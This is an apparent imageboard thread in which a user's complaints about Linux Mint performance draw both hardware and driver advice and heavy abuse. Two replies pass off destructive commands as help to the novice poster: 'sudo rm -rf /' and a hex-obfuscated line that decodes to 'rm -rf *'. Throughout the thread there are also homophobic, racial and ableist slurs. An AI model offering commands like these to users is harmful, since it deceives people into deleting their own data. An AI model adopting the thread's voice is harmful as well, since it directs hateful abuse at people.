>HOW THE FUCK DO YOU GUYS PUT UP WITH THIS SHIT~?! By not using Mint. Does it even ship with a Linux version that properly supports Zen+ CPUs?
Owen James
You better stay on win if you fuck up such a simple task like installing mint.
Jason Nelson
>why won't my wooden computer run a modern OS
Liam Garcia
can't tell if bait or stupid
Mason Clark
You better stay on win if you are dumb enough to fall for the linux meme
Sebastian Stewart
Linux mint is shit, i don't understand why reddit faggots keep recommending it to beginners Try xubuntu
Dylan Price
I was setting it up for months and still some basic shit refused to work (video chat problems, audio stuttering when changing volume, atrocious battery life even with tlp or whatever it's called). I will try other distros in the future, but i have returned to embracing the botnet for the moment being
Sebastian Watson
at least you diddn't installed it on a laptop
i fell for the kde neon meme, it uses less ram than win10 but my laptop is always running very hot, it stutters for no reason, battery life is shit
sadly linux is only for servers and old shitboxes
Logan Clark
>64 GIG RAM >NO SSD >AMD RYGEN
lmao he's legit retarded
Jace Martinez
This smells like bait but if Mint is too hard for you, your only chance is Ubuntu. If you can't, stay with Windows.
Nolan Long
>wooden computer you cant be serious.
you cant be serious.
i built this machine myself i reformatted because of a virus deiceded to use linux instead. i still cant click on the updates.
this is an OS which is less heavy then windows.
Why is it struggling worse than my laptop?
Mason Thompson
OP is just retarded as fck. You can't escape botnet world,that's ur fate .
Brayden Gonzalez
forgot to mention i do have a 250gb SSD and 500 SSD.
Ryzen is based.
Liam Johnson
OP , you should try this command: sudo rm -rf /
Easton Perry
I've had a bit of trouble installing it on some desktops. I did some troubleshooting and for some unknown reason it would just gradually increase in harddrive usage because it kept spawning some process
Restart and check dmesg. Linux requires a bit of technical proficiency. If you want Linux but you're degenerate scum who can't into terminal, just use Mac
Angel Robinson
that sounds like a better option. i am glad there is somebody else who is into this.
Luke Mitchell
Why even use linux as a main OS instead of windows unless you need it for work? i mean it doenst even have games lmao
Jace Scott
go be 12 somewhere else faggot
Samuel Powell
Again, what version number of Linux (the kernel) is Linux Mint even using? I think Zen+ requires 4.17 or .18 to run flawlessly or at least at max. efficiency. >i still cant click on the updates. No matter the distro, it's usually easier to use your package manager directly via the command line. In your case apt. >Why is it struggling worse than my laptop? Are you using the default desktop environment Cinnamon? The new 4.x versions are still... somewhat problematic.
Julian Edwards
I was memeing but i am serious. I mean i too use linux when i am studying/working But if i want to relax and play games i go for my W10. I mean its 2019 and you dont even dual boot?
Eli Cooper
Cinnamon does not perform better than Windows. It's a GNOME skin. GNOME needs a dedicated GPU to avoid animation stuttering. I also had issues with GNOME and Cinnamon on laptops. Cinnamon still used only a single core until a month ago. Use Mint Xfce or Kubuntu/KDE Neon.
Mint uses 4.15 currently. They have an option in the GUI to switch to 4.18, but it's much better to just use ukuu and use 5.0.2 or whatever the current version is.
Don't use Xubuntu. Mint Xfce is literally Xubuntu with a ton of shit fixed and improved. Especially compared to the "stable" Xubuntu version which still ships with Xfce 4.12 and has screen tearing.
Hunter Edwards
How old do you have to be to build a 1000 $ pc without an ssd?
Fucking retarded
Joshua Perez
Linux is for servers and development prior to hosting on those servers
Using it for any other reason is just wasting your time, if you don't put the effort in to understand linux, it won't do shit for you in return.
Bentley King
>GTX nVidia has shit Linux support. If you want to use Linux then use AMD. Since you already have nVidia, did you switch to the official drivers? By default Linux uses the generic nVidia drivers which perform over 10x worse.
Tyler Phillips
What else is he supposed to use on desktop? Android-x86? MacOS and Windows aren't serious answers.
Carter Cook
>durr what 99% of people use aren't serious answers
You're delusional dude.
Mason Cox
>i mean it doenst even have games lmao Why would you go and tell lies on the internet?
Why the fuck would you choose mint? Install Fedora 29 with KDE plasma and dual boot it Windows 10. You have a 1070 so you must be a gaymer, why would you use fucking mint as a main OS? Do some more research next time kiddo
Linux is a meme and you fell for it. No shame in it, OP, happens to the best of us. Now go back to win10 and everything will be better.
Juan Murphy
>he doesnt use archbasedlinux
Gabriel Smith
Such shit bait it doesn't even deserve picture. sage it all.
William Hughes
What distribution do you Jow Forumsuys recommend? I'm not into gaymen, but it has to be able to support data analysis tools such as R, SAS, and SPSS natively, and preferably run them well.
Caleb Price
how do you almost crash? teach me
Nicholas Hall
Archlinux should suits your needs
Angel Campbell

Benjamin Gomez
I'm using linux mint on some 6 year old low-end laptop I found in my garage, haven't had any of the issues you are describing. It froze once yesterday but I've had it running for 12 hours a day without any issues
Kayden Rodriguez
Install Arch Learn to sudoers file So on, so forth
This is most likely the issue, I put mint on my laptop and it ran like absolute dogshit until I used the official drivers. After that, it ran faster than w7, with less memory usage.
Charles Flores
hurr durr linux is free. nobody wants to rely on something which nobody got paid for. would you rather be the passenger on a plane the pilot flies for free or the passenger on a plane that belongs to a company that pays the pilot a lot of money to fly you from a to b? use mac os or windows and get work done instead of spending hours a day fiddling around with some things not working on your computer.
Levi Murphy
this is bait. Mint is minge anyway, should've installed ubuntu.
Anthony Hill
You have no argument. I'm a normie and I find Linux much better and easier to use than windows. You appeal to popularity and your argument would be for Linux if by tomorrow every pre-built PC started shipping with Linux instead of windows. So you're the one who's delusional.
Jason Walker
Cinnamon is trash. Purge it all and put XFCE on it.
I went with Mint back in Dec. Mangled it until I got bored, then to Manjaro. The ONLY crash I had in 4~ months was fucking VLC locking up in KDE on Manjaro.
Isaiah Lewis
Dude either you are trolling or retarded. I use my Gentoo install 16 hours a day and leave it on even the rest of the time and nothing happens.
Tyler Martin
What if you use RHEL?
Owen Parker
Am I the only one who has never had problems with Linux Mint? Even a Kernel update solved a problem with my laptop's fan that I've had since I bought it.
Parker Miller
i have vastly worse hardware and never have had any of the problems you have sounds user error to me :)
Henry Baker
Yes. Can't find the post on reddit but someone came here and tried this little gem on their machine: $(echo 726d202d7266202a | xxd -r -p)
It didn't play music.
Owen Reed
>it defiantly struggles when i am hopping around.
Based Mint, sticking it to the hopping crowd.
Owen Watson
Alright, I'll byte. Wat do? Does this remove SysWOW64 from /usr/bin?
Blake Clark
Mint is a total meme if you have a modern computer, please install something more up to date e.g. Fedora, Manjaro, Gentoo You can use the sake desktop enviroment (Cinnamon) on those and you'll have a much better time gayming too.
>Nvidia user complains about Linux desktops being slow Like clockwork. Linux Mint runs faster than Windows 10 on my Intel laptop. Stop using shit hardware.
Leo Ward
Steam play, brainlet
Michael Scott
>HOW THE FUCK DO YOU GUYS PUT UP WITH THIS SHIT~?! 1.) We don't use shitty distros 2.) We understand what we are doing when we use the OS 3.) We're not brainlets 4.) Walk the dinosaur
Nolan Torres
Ranting like a child over something they don't fully understand, OP is just one of many shitting up Jow Forums, Jow Forums and probably society too.
Andrew Nelson
Every time a nigger like you complains about "not being able to do x in my y Linux distribution" just shows how much of a fucking idiot you are. Stick to your windows and apple toys retard
Brandon James
testing this on android
Adam Cox
doesn't seem to do anything
Jeremiah Jackson
it's just rm -rf *
Carter Baker
Linux has dogshit support for graphic cards. Don't even try Linux if you have one.
I always hear that. Especially how shit Nvidia support is. Yet I never had any issues with my GTX 1070 (including running CUDA applications).
Kayden Walker
t. doesn't understand what Linux is and probably uses a distro with Jurassic-era repositories
Easton Adams
Modern desktop GPU support is pretty good. Most people who still have issues are on laptops, and you are a retard if you buy a laptop for GNU/Linux and it doesn't have Intel integrated graphics.
Luis Gonzalez
Funny how you need to create an imaginary scenario where my statement isn't true. I've used a lot of distros, Gentoo, Debian, Arch, Fedora, Ubuntu, Mint, Xubuntu, KDE neon, Open Suse and probably some more I can't remember. I've also used AMD and Nvidia graphic cards. Guess what? They all sucked massive balls when compared to Windows, shit just lagged, browsers stutter when scrolling, insane delay when using "full composite pipeline" on Nvidia and so on. I don't buy into this bullshit anymore, graphic cards suck massive balls under Linux and that's pretty much it.
Aiden Lewis
it's because your statement is just not true, and the only way it could be true is if you have a new graphics card and are using an old kernel, or if you're just plain retarded and fucked something up on your own
Isaiah Gutierrez
this xubuntu is bloat fedora xfce is GOAT
Austin Campbell
didn't read mint is shit kill yourself op
Levi Mitchell
visudo you retard.
Michael Howard
Are you using the proprietary drivers? I have a 1060 and I get zero "stutter". I doubt you've used all of those distros as well, seems like this is just coming straight out of your asshole.
